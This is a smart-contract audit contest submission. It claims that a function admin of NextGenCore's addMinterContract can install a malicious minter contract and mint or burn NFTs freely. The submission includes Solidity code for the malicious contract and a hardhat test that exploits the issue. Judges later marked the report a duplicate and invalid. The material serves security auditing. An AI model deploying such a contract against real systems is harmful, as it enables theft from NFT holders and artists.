Access control in NextGenMinterContract can be bypassed by the function admin of NextGenCore#addMinterContract()

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/NextGenCore.sol#L315-L318

Vulnerability details

Impact

The function admin of NextGenCore#addMinterContract() can arbitrarily mint or burn any NFT.

Proof of Concept

The function admin of NextGenCore#addMinterContract() has the capability to update minterContract, which is an extremely crucial component within NextGen:

The Minter contract is used to mint an ERC721 token for a collection on the Core contract based on certain requirements that are set prior to the minting process. The Minter contract holds all the information regarding an upcoming drop such as starting/ending times of various phases, Merkle roots, sales model, funds, and the primary and secondary addresses of artists.

315:    function addMinterContract(address _minterContract) public FunctionAdminRequired(this.addMinterContract.selector) { 
316:        require(IMinterContract(_minterContract).isMinterContract() == true, "Contract is not Minter");
317:        minterContract = _minterContract;
318:    }

By having the privilege to update the minterContract, the function admin can create a smart contract without any restrictions to replace it. This malicious smart contract can then mint or burn NFTs, potentially leading to profit for the function admin and causing significant losses for NFT holders and artists.

Create MaliciousMinterContract:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./INextGenCore.sol";

contract MaliciousMinterContract {
    address public gencore; 
    constructor(address _gencore) {
        gencore = _gencore;
    }

    function mint(uint256 _collectionID) public {
        uint256 mintIndex = INextGenCore(gencore).viewTokensIndexMin(_collectionID) + INextGenCore(gencore).viewCirSupply(_collectionID);
        INextGenCore(gencore).mint(mintIndex, msg.sender, msg.sender, "", 0, _collectionID, 2);
    }
    function isMinterContract() external view returns (bool) {
        return true;
    }    
}

Copy below cods into nextGen.test.js and run npx hardhat test:

    it("#Registered function admin mint NFT arbitrarily", async function () {
      //@audit-info addr3 is not global admin
      expect(await contracts.hhAdmin.retrieveGlobalAdmin(signers.addr3)).to.be.equal(false);
      //@audit-info addr3 is not function admin of addMinterContract()
      expect(await contracts.hhAdmin.retrieveFunctionAdmin(signers.addr3.address, "0xde00e1f7")).to.be.equal(false);
      //@audit-info addr3 was granted function admin of addMinterContract()
      await contracts.hhAdmin.registerFunctionAdmin(
        signers.addr3.address,
        "0xde00e1f7",
        true,
      )

      //@audit-info addr3 deployed malicious MaliciousMinterContract
      let MaliciousMinterContract = await ethers.getContractFactory("MaliciousMinterContract")
      let maliciousMinterContract = await MaliciousMinterContract.connect(signers.addr3).deploy(await contracts.hhCore.getAddress())
      //@audit-info addr3 change the value of minterContract to malicious one.
      await contracts.hhCore.connect(signers.addr3).addMinterContract(maliciousMinterContract.getAddress())

      expect(await contracts.hhCore.balanceOf(signers.addr3)).to.be.equal(0)
      await maliciousMinterContract.connect(signers.addr3).mint(1) //@audit-info collection 1
      await maliciousMinterContract.connect(signers.addr3).mint(2) //@audit-info collection 2
      await maliciousMinterContract.connect(signers.addr3).mint(3) //@audit-info collection 3
      //@audit-info addr3, the function admin of `addMinterContract`, minted 3 NFTs with malicious smart contract.
      expect(await contracts.hhCore.balanceOf(signers.addr3)).to.be.equal(3)
    })

Tools Used

Manual review

Recommended Mitigation Steps

Consider that NextGenMinterContract is an extremely crucial component within NextGen, it is recommended to maintain minterContract as immutable, or no one can update it except global admin.

Assessed type

Access Control

[c4-pre-sort]

141345 marked the issue as duplicate of #303

[c4-judge]

alex-ppg marked the issue as unsatisfactory:
Invalid